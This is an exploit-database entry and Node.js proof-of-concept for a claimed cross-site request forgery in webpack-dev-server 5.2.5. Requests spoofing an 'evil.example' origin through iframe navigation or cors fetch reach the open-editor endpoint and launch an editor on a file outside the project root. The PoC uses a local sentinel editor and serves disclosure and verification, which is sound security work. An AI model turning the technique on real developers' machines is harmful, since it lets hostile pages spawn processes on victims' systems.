# Exploit Title: webpack_devserver 5.2.5 - Csrf
# Date: 2026-07-17
# Exploit Author: Pig-Tail (Jorge González Milla)
# Vendor Homepage: https://github.com/webpack/webpack-dev-server
# Software Link: https://www.npmjs.com/package/webpack-dev-server
# Version: <= 5.2.5 (fixed 5.2.6)
# Tested on: Linux
# CVE: CVE-2026-14620
# Category: webapps
# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-14620-webpack-dev-server
GET /webpack-dev-server/open-editor?fileName= reaches launchEditor() from cross-site navigation and fetch(mode:cors); the CVE-2026-6402 guard only blocks no-cors subresources. Advisory: GHSA-f5vj-f2hx-8m93.
The PoC is a benign, local verification harness (sentinel-based; no network attack, no
persistence, no destructive payload). Run against a local instance of the affected version.
--- PoC (poc.js) ---
/*
* PoC — webpack-dev-server v5.2.5 open-editor cross-origin CSRF
*
* Demonstrates that GET /webpack-dev-server/open-editor?fileName=<path> reaches
* launchEditor(fileName) from a CROSS-ORIGIN context, bypassing the cross-origin
* guard added for CVE-2026-6402 / CVE-2025-30359.
*
* The guard (lib/Server.js:2039-2046) only blocks requests whose headers are
* BOTH `sec-fetch-mode: no-cors` AND `sec-fetch-site: cross-site` — i.e. the
* <script>/<img>/<link> subresource loads that the source-theft advisories were
* about. It does NOT block:
* - cross-site NAVIGATIONS (iframe / window.open / top-level) -> sec-fetch-mode: navigate
* - cross-site fetch(..., {mode:'cors'}) -> sec-fetch-mode: cors
* Both of those are exactly how a real malicious page reaches a state-changing
* GET endpoint, and both let launchEditor() spawn a process on the dev's machine
* with an attacker-chosen (existing) file path — INCLUDING paths outside the
* project root.
*
* Benign marker: a fake "editor" ($MARKER_FILE) records the argv it was launched
* with. No destructive action. Everything is local (127.0.0.1).
*/
"use strict";
const path = require("path");
const http = require("http");
const fs = require("fs");
const POC_DIR = __dirname;
// Point this at a local `webpack-dev-server` checkout at the affected version (v5.2.5).
// WDS_ROOT=/path/to/webpack-dev-server node poc.js
const WDS_ROOT = process.env.WDS_ROOT || path.resolve(POC_DIR, "webpack-dev-server");
const webpack = require(path.join(WDS_ROOT, "node_modules", "webpack"));
const Server = require(path.join(WDS_ROOT, "lib", "Server.js"));
const MARKER_FILE = path.join(POC_DIR, "marker.log");
const FAKE_EDITOR = path.join(POC_DIR, "fake-editor.sh");
// Attacker-chosen target: a file OUTSIDE the dev-server project root.
const ATTACKER_TARGET = path.join(POC_DIR, "outside", "secret.txt");
// Make launch-editor deterministically use our benign sentinel "editor".
process.env.LAUNCH_EDITOR = FAKE_EDITOR;
process.env.MARKER_FILE = MARKER_FILE;
try { fs.unlinkSync(MARKER_FILE); } catch {}
fs.chmodSync(FAKE_EDITOR, 0o755);
const HOST = "127.0.0.1";
function request(port, headers) {
return new Promise((resolve) => {
const url =
"/webpack-dev-server/open-editor?fileName=" +
encodeURIComponent(ATTACKER_TARGET);
const req = http.request(
{ host: HOST, port, path: url, method: "GET", headers },
(res) => {
let body = "";
res.on("data", (c) => (body += c));
res.on("end", () => resolve({ status: res.statusCode, body }));
}
);
req.on("error", (e) => resolve({ status: 0, body: String(e) }));
req.end();
});
}
function markerCount() {
try {
return fs
.readFileSync(MARKER_FILE, "utf8")
.split("\n")
.filter((l) => l.includes("LAUNCHED_WITH")).length;
} catch {
return 0;
}
}
async function waitMarker(prev, ms = 2500) {
const t0 = Date.now();
while (Date.now() - t0 < ms) {
if (markerCount() > prev) return true;
await new Promise((r) => setTimeout(r, 50));
}
return false;
}
(async () => {
const compiler = webpack({
mode: "development",
context: path.join(POC_DIR, "project"),
entry: "./src/index.js",
output: { path: path.join(POC_DIR, "project", "dist") },
});
// Default-ish config. allowedHosts defaults to "auto"; no special hardening.
const server = new Server({ host: HOST, port: 0 }, compiler);
await server.start();
const port = server.server.address().port;
console.log(`[*] dev server up on http://${HOST}:${port } (allowedHosts: auto, default)\n`);
const results = [];
// Vector A — cross-site NAVIGATION (iframe / window.open). Real browsers send these.
let prev = markerCount();
let rA = await request(port, {
Host: `localhost:${port}`,
Origin: " https://evil.example ",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "cross-site",
"Sec-Fetch-Dest": "iframe",
});
let firedA = await waitMarker(prev);
results.push(["A navigate (iframe) cross-site", rA.status, firedA]);
// Vector B — cross-site fetch(mode:'cors'). Response unreadable to attacker, side-effect still fires.
prev = markerCount();
let rB = await request(port, {
Host: `localhost:${port}`,
Origin: " https://evil.example ",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "cross-site",
"Sec-Fetch-Dest": "empty",
});
let firedB = await waitMarker(prev);
results.push(["B fetch{mode:cors} cross-site", rB.status, firedB]);
// Vector C — the ONLY combination the guard blocks: <img>/<script> no-cors subresource.
prev = markerCount();
let rC = await request(port, {
Host: `localhost:${port}`,
Origin: " https://evil.example ",
"Sec-Fetch-Mode": "no-cors",
"Sec-Fetch-Site": "cross-site",
"Sec-Fetch-Dest": "script",
});
let firedC = await waitMarker(prev, 1200);
results.push(["C no-cors (script/img) cross-site", rC.status, firedC]);
console.log("VECTOR HTTP launchEditor fired?");
for (const [name, status, fired] of results) {
console.log(
`${name.padEnd(38)} ${String(status).padEnd(5)} ${fired ? "YES <-- attacker reached launchEditor" : "no (blocked)"}`
);
}
console.log("\n--- marker.log (argv the spawned 'editor' received) ---");
try { process.stdout.write(fs.readFileSync(MARKER_FILE, "utf8")); } catch { console.log("(empty)"); }
const pass = results[0][2] === true && results[1][2] === true && results[2][2] === false;
console.log(
`\nRESULT: ${pass ? "CONFIRMED" : "NOT CONFIRMED"} — ` +
`cross-site navigation & cors-fetch reach launchEditor (open arbitrary existing file: ${ATTACKER_TARGET}); ` +
`only no-cors subresource is blocked.`
);
await server.stop();
process.exit(pass ? 0 : 1);
})().catch((e) => {
console.error("PoC error:", e);
process.exit(2);
});
